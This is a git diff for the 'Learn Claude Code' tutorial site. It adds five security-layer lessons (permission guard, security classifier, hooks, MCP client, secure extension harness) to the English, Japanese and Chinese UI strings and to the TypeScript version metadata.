"s13": "Permission Guard",
|
||||
"s14": "Security Classifier",
|
||||
"s15": "Hooks System",
|
||||
"s16": "MCP Client",
|
||||
"s17": "Secure Extension Harness"
|
||||
},
|
||||
"layer_labels": {
|
||||
"tools": "Tools & Execution",
|
||||
"planning": "Planning & Coordination",
|
||||
"memory": "Memory Management",
|
||||
"concurrency": "Concurrency",
|
||||
"collaboration": "Collaboration"
|
||||
"collaboration": "Collaboration",
|
||||
"security": "Security & Extensibility"
|
||||
},
|
||||
"viz": {
|
||||
"s01": "The Agent While-Loop",
|
||||
|
|
@ -71,6 +78,11 @@
|
|||
"s09": "Agent Team Mailboxes",
|
||||
"s10": "FSM Team Protocols",
|
||||
"s11": "Autonomous Agent Cycle",
|
||||
"s12": "Worktree Task Isolation"
|
||||
"s12": "Worktree Task Isolation",
|
||||
"s13": "Permission Guard Pipeline",
|
||||
"s14": "Two-Layer Security Classifier",
|
||||
"s15": "Hook Manager Event Bus",
|
||||
"s16": "MCP Tool Discovery",
|
||||
"s17": "Secure Execution Pipeline"
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
{
|
||||
"meta": { "title": "Learn Claude Code", "description": "0 から 1 へ nano Claude Code-like agent を構築し、毎回 1 つの仕組みを追加" },
|
||||
"nav": { "home": "ホーム", "timeline": "学習パス", "compare": "バージョン比較", "layers": "アーキテクチャ層", "github": "GitHub" },
|
||||
"home": { "hero_title": "Learn Claude Code", "hero_subtitle": "0 から 1 へ nano Claude Code-like agent を構築し、毎回 1 つの仕組みを追加", "start": "学習を始める", "core_pattern": "コアパターン", "core_pattern_desc": "すべての AI コーディングエージェントは同じループを共有する:モデルを呼び出し、ツールを実行し、結果を返す。実運用ではこの上にポリシー、権限、ライフサイクル層が重なる。", "learning_path": "学習パス", "learning_path_desc": "12の段階的セッション、シンプルなループから分離された自律実行まで", "layers_title": "アーキテクチャ層", "layers_desc": "5つの直交する関心事が完全なエージェントを構成", "loc": "行", "learn_more": "詳細を見る", "versions_in_layer": "バージョン", "message_flow": "メッセージの増加", "message_flow_desc": "エージェントループ実行時のメッセージ配列の成長を観察" },
|
||||
"home": { "hero_title": "Learn Claude Code", "hero_subtitle": "0 から 1 へ nano Claude Code-like agent を構築し、毎回 1 つの仕組みを追加", "start": "学習を始める", "core_pattern": "コアパターン", "core_pattern_desc": "すべての AI コーディングエージェントは同じループを共有する:モデルを呼び出し、ツールを実行し、結果を返す。実運用ではこの上にポリシー、権限、ライフサイクル層が重なる。", "learning_path": "学習パス", "learning_path_desc": "17の段階的セッション、シンプルなループからセキュアな拡張実行まで", "layers_title": "アーキテクチャ層", "layers_desc": "5つの直交する関心事が完全なエージェントを構成", "loc": "行", "learn_more": "詳細を見る", "versions_in_layer": "バージョン", "message_flow": "メッセージの増加", "message_flow_desc": "エージェントループ実行時のメッセージ配列の成長を観察" },
|
||||
"version": { "loc": "行のコード", "tools": "ツール", "new": "新規", "prev": "前のバージョン", "next": "次のバージョン", "view_source": "ソースを見る", "view_diff": "差分を見る", "design_decisions": "設計判断", "whats_new": "新機能", "tutorial": "チュートリアル", "simulator": "エージェントループシミュレーター", "execution_flow": "実行フロー", "architecture": "アーキテクチャ", "concept_viz": "コンセプト可視化", "alternatives": "検討された代替案", "tab_learn": "学習", "tab_simulate": "シミュレーション", "tab_code": "ソースコード", "tab_deep_dive": "詳細分析" },
|
||||
"sim": { "play": "再生", "pause": "一時停止", "step": "ステップ", "reset": "リセット", "speed": "速度", "step_of": "/" },
|
||||
"timeline": { "title": "学習パス", "subtitle": "s01からs12へ:段階的エージェント設計", "layer_legend": "レイヤー凡例", "loc_growth": "コード量の推移", "learn_more": "詳細を見る" },
|
||||
"timeline": { "title": "学習パス", "subtitle": "s01からs17へ:段階的エージェント設計", "layer_legend": "レイヤー凡例", "loc_growth": "コード量の推移", "learn_more": "詳細を見る" },
|
||||
"layers": {
|
||||
"title": "アーキテクチャ層",
|
||||
"subtitle": "5つの直交する関心事が完全なエージェントを構成",
|
||||
"subtitle": "6つの直交する関心事が完全なエージェントを構成",
|
||||
"tools": "エージェントができること。基盤:ツールがモデルに外部世界と対話する能力を与える。",
|
||||
"planning": "作業の組織化。シンプルなToDoリストからエージェント間で共有される依存関係対応タスクボードまで。",
|
||||
"memory": "コンテキスト制限内での記憶保持。圧縮戦略によりエージェントが一貫性を失わずに無限に作業可能。",
|
||||
"concurrency": "ノンブロッキング実行。バックグラウンドスレッドと通知バスによる並列作業。",
|
||||
"collaboration": "マルチエージェント連携。チーム、メッセージング、自律的に考えるチームメイト。"
|
||||
"collaboration": "マルチエージェント連携。チーム、メッセージング、自律的に考えるチームメイト。",
|
||||
"security": "ユーザーをエージェントから保護。権限モデル、セキュリティ分類器、ライフサイクルフック、外部ツールプロトコル。"
|
||||
},
|
||||
"compare": {
|
||||
"title": "バージョン比較",
|
||||
|
|
@ -50,14 +51,20 @@
|
|||
"s09": "エージェントチーム",
|
||||
"s10": "チームプロトコル",
|
||||
"s11": "自律エージェント",
|
||||
"s12": "Worktree + タスク分離"
|
||||
"s12": "Worktree + タスク分離",
|
||||
"s13": "権限ガード",
|
||||
"s14": "セキュリティ分類器",
|
||||
"s15": "Hooks システム",
|
||||
"s16": "MCP クライアント",
|
||||
"s17": "セキュア拡張ハーネス"
|
||||
},
|
||||
"layer_labels": {
|
||||
"tools": "ツールと実行",
|
||||
"planning": "計画と調整",
|
||||
"memory": "メモリ管理",
|
||||
"concurrency": "並行処理",
|
||||
"collaboration": "コラボレーション"
|
||||
"collaboration": "コラボレーション",
|
||||
"security": "セキュリティと拡張性"
|
||||
},
|
||||
"viz": {
|
||||
"s01": "エージェント Whileループ",
|
||||
|
|
@ -71,6 +78,11 @@
|
|||
"s09": "エージェントチーム メールボックス",
|
||||
"s10": "FSM チームプロトコル",
|
||||
"s11": "自律エージェントサイクル",
|
||||
"s12": "Worktree タスク分離"
|
||||
"s12": "Worktree タスク分離",
|
||||
"s13": "権限ガードパイプライン",
|
||||
"s14": "2層セキュリティ分類器",
|
||||
"s15": "フックイベントバス",
|
||||
"s16": "MCPツールディスカバリー",
|
||||
"s17": "セキュア実行パイプライン"
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
{
|
||||
"meta": { "title": "Learn Claude Code", "description": "从 0 到 1 构建 nano Claude Code-like agent,每次只加一个机制" },
|
||||
"nav": { "home": "首页", "timeline": "学习路径", "compare": "版本对比", "layers": "架构层", "github": "GitHub" },
|
||||
"home": { "hero_title": "Learn Claude Code", "hero_subtitle": "从 0 到 1 构建 nano Claude Code-like agent,每次只加一个机制", "start": "开始学习", "core_pattern": "核心模式", "core_pattern_desc": "所有 AI 编程 Agent 共享同一个循环:调用模型、执行工具、回传结果。生产级系统会在其上叠加策略、权限和生命周期层。", "learning_path": "学习路径", "learning_path_desc": "12 个渐进式课程,从简单循环到隔离化自治执行", "layers_title": "架构层次", "layers_desc": "五个正交关注点组合成完整的 Agent", "loc": "行", "learn_more": "了解更多", "versions_in_layer": "个版本", "message_flow": "消息增长", "message_flow_desc": "观察 Agent 循环执行时消息数组的增长" },
|
||||
"home": { "hero_title": "Learn Claude Code", "hero_subtitle": "从 0 到 1 构建 nano Claude Code-like agent,每次只加一个机制", "start": "开始学习", "core_pattern": "核心模式", "core_pattern_desc": "所有 AI 编程 Agent 共享同一个循环:调用模型、执行工具、回传结果。生产级系统会在其上叠加策略、权限和生命周期层。", "learning_path": "学习路径", "learning_path_desc": "17 个渐进式课程,从简单循环到安全扩展", "layers_title": "架构层次", "layers_desc": "五个正交关注点组合成完整的 Agent", "loc": "行", "learn_more": "了解更多", "versions_in_layer": "个版本", "message_flow": "消息增长", "message_flow_desc": "观察 Agent 循环执行时消息数组的增长" },
|
||||
"version": { "loc": "行代码", "tools": "个工具", "new": "新增", "prev": "上一版", "next": "下一版", "view_source": "查看源码", "view_diff": "查看变更", "design_decisions": "设计决策", "whats_new": "新增内容", "tutorial": "教程", "simulator": "Agent 循环模拟器", "execution_flow": "执行流程", "architecture": "架构", "concept_viz": "概念可视化", "alternatives": "替代方案", "tab_learn": "学习", "tab_simulate": "模拟", "tab_code": "源码", "tab_deep_dive": "深入探索" },
|
||||
"sim": { "play": "播放", "pause": "暂停", "step": "单步", "reset": "重置", "speed": "速度", "step_of": "/" },
|
||||
"timeline": { "title": "学习路径", "subtitle": "s01 到 s12:渐进式 Agent 设计", "layer_legend": "层次图例", "loc_growth": "代码量增长", "learn_more": "了解更多" },
|
||||
"timeline": { "title": "学习路径", "subtitle": "s01 到 s17:渐进式 Agent 设计", "layer_legend": "层次图例", "loc_growth": "代码量增长", "learn_more": "了解更多" },
|
||||
"layers": {
|
||||
"title": "架构层次",
|
||||
"subtitle": "五个正交关注点组合成完整的 Agent",
|
||||
"subtitle": "六个正交关注点组合成完整的 Agent",
|
||||
"tools": "Agent 能做什么。基础层:工具赋予模型与外部世界交互的能力。",
|
||||
"planning": "如何组织工作。从简单的待办列表到跨 Agent 共享的依赖感知任务板。",
|
||||
"memory": "在上下文限制内保持记忆。压缩策略让 Agent 可以无限工作而不失去连贯性。",
|
||||
"concurrency": "非阻塞执行。后台线程和通知总线实现并行工作。",
|
||||
"collaboration": "多 Agent 协作。团队、消息传递和能独立思考的自主队友。"
|
||||
"collaboration": "多 Agent 协作。团队、消息传递和能独立思考的自主队友。",
|
||||
"security": "保护用户免受 Agent 的伤害。权限模型、安全分类器、生命周期 Hook 和外部工具协议。"
|
||||
},
|
||||
"compare": {
|
||||
"title": "版本对比",
|
||||
|
|
@ -50,14 +51,20 @@
|
|||
"s09": "Agent Teams",
|
||||
"s10": "Team Protocols",
|
||||
"s11": "Autonomous Agents",
|
||||
"s12": "Worktree + Task Isolation"
|
||||
"s12": "Worktree + Task Isolation",
|
||||
"s13": "Permission Guard",
|
||||
"s14": "Security Classifier",
|
||||
"s15": "Hooks System",
|
||||
"s16": "MCP Client",
|
||||
"s17": "Secure Extension Harness"
|
||||
},
|
||||
"layer_labels": {
|
||||
"tools": "工具与执行",
|
||||
"planning": "规划与协调",
|
||||
"memory": "记忆管理",
|
||||
"concurrency": "并发",
|
||||
"collaboration": "协作"
|
||||
"collaboration": "协作",
|
||||
"security": "安全与扩展"
|
||||
},
|
||||
"viz": {
|
||||
"s01": "Agent While-Loop",
|
||||
|
|
@ -71,6 +78,11 @@
|
|||
"s09": "Agent Team Mailboxes",
|
||||
"s10": "FSM Team Protocols",
|
||||
"s11": "Autonomous Agent Cycle",
|
||||
"s12": "Worktree Task Isolation"
|
||||
"s12": "Worktree Task Isolation",
|
||||
"s13": "权限守卫管线",
|
||||
"s14": "双层安全分类器",
|
||||
"s15": "Hook 事件总线",
|
||||
"s16": "MCP 工具发现",
|
||||
"s17": "安全执行管线"
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,5 +1,6 @@
|
|||
export const VERSION_ORDER = [
|
||||
"s01", "s02", "s03", "s04", "s05", "s06", "s07", "s08", "s09", "s10", "s11", "s12"
|
||||
"s01", "s02", "s03", "s04", "s05", "s06", "s07", "s08", "s09", "s10", "s11", "s12",
|
||||
"s13", "s14", "s15", "s16", "s17"
|
||||
] as const;
|
||||
|
||||
export const LEARNING_PATH = VERSION_ORDER;
|
||||
|
|
@ -11,7 +12,7 @@ export const VERSION_META: Record<string, {
|
|||
subtitle: string;
|
||||
coreAddition: string;
|
||||
keyInsight: string;
|
||||
layer: "tools" | "planning" | "memory" | "concurrency" | "collaboration";
|
||||
layer: "tools" | "planning" | "memory" | "concurrency" | "collaboration" | "security";
|
||||
prevVersion: string | null;
|
||||
}> = {
|
||||
s01: { title: "The Agent Loop", subtitle: "Bash is All You Need", coreAddition: "Single-tool agent loop", keyInsight: "The minimal agent kernel is a while loop + one tool", layer: "tools", prevVersion: null },
|
||||
|
|
@ -26,6 +27,11 @@ export const VERSION_META: Record<string, {
|
|||
s10: { title: "Team Protocols", subtitle: "Shared Communication Rules", coreAddition: "request_id correlation for two protocols", keyInsight: "One request-response pattern drives all team negotiation", layer: "collaboration", prevVersion: "s09" },
|
||||
s11: { title: "Autonomous Agents", subtitle: "Scan Board, Claim Tasks", coreAddition: "Task board polling + timeout-based self-governance", keyInsight: "Teammates scan the board and claim tasks themselves; no need for the lead to assign each one", layer: "collaboration", prevVersion: "s10" },
|
||||
s12: { title: "Worktree + Task Isolation", subtitle: "Isolate by Directory", coreAddition: "Composable worktree lifecycle + event stream over a shared task board", keyInsight: "Each works in its own directory; tasks manage goals, worktrees manage directories, bound by ID", layer: "collaboration", prevVersion: "s11" },
|
||||
s13: { title: "Permission Guard", subtitle: "Not Every Command Should Run Automatically", coreAddition: "PermissionGuard with 5 permission modes (allow/ask/deny/auto_edit/edit)", keyInsight: "Permission is not yes/no -- it's a spectrum with five stops", layer: "security", prevVersion: "s02" },
|
||||
s14: { title: "Security Classifier", subtitle: "Let the Model Judge Its Own Commands", coreAddition: "Two-layer classifier: regex quick-scan + LLM intent classification", keyInsight: "Regex sees patterns; the LLM sees intent", layer: "security", prevVersion: "s13" },
|
||||
s15: { title: "Hooks System", subtitle: "Intercept Between Model and Tool", coreAddition: "HookManager with 8 event types and 3 execution modes", keyInsight: "Hooks don't change what tools do -- they change when, how, and whether they execute", layer: "security", prevVersion: "s13" },
|
||||
s16: { title: "MCP Client", subtitle: "Tools Don't Have to Be Built-in", coreAddition: "MCPClient + MCPManager for external tool servers via JSON-RPC", keyInsight: "MCP upgrades tool dispatch from a dict to a network protocol", layer: "security", prevVersion: "s02" },
|
||||
s17: { title: "Secure Extension Harness", subtitle: "Five Layers of Defense, One Loop", coreAddition: "Unified execution pipeline: Hook -> Classify -> Permission -> Execute -> PostHook", keyInsight: "Production harnesses aren't about more features -- they're about clear responsibilities at every layer", layer: "security", prevVersion: "s16" },
|
||||
};
|
||||
|
||||
export const LAYERS = [
|
||||
|
|
@ -34,4 +40,5 @@ export const LAYERS = [
|
|||
{ id: "memory" as const, label: "Memory Management", color: "#8B5CF6", versions: ["s06"] },
|
||||
{ id: "concurrency" as const, label: "Concurrency", color: "#F59E0B", versions: ["s08"] },
|
||||
{ id: "collaboration" as const, label: "Collaboration", color: "#EF4444", versions: ["s09", "s10", "s11", "s12"] },
|
||||
{ id: "security" as const, label: "Security & Extensibility", color: "#06B6D4", versions: ["s13", "s14", "s15", "s16", "s17"] },
|
||||
] as const;
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@ export interface AgentVersion {
|
|||
keyInsight: string;
|
||||
classes: { name: string; startLine: number; endLine: number }[];
|
||||
functions: { name: string; signature: string; startLine: number }[];
|
||||
layer: "tools" | "planning" | "memory" | "concurrency" | "collaboration";
|
||||
layer: "tools" | "planning" | "memory" | "concurrency" | "collaboration" | "security";
|
||||
source: string;
|
||||
}
|
||||
|
||||
|
|
@ -40,7 +40,10 @@ export type SimStepType =
|
|||
| "assistant_text"
|
||||
| "tool_call"
|
||||
| "tool_result"
|
||||
| "system_event";
|
||||
| "system_event"
|
||||
| "permission_check"
|
||||
| "classifier_check"
|
||||
| "hook_fire";
|
||||
|
||||
export interface SimStep {
|
||||
type: SimStepType;
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue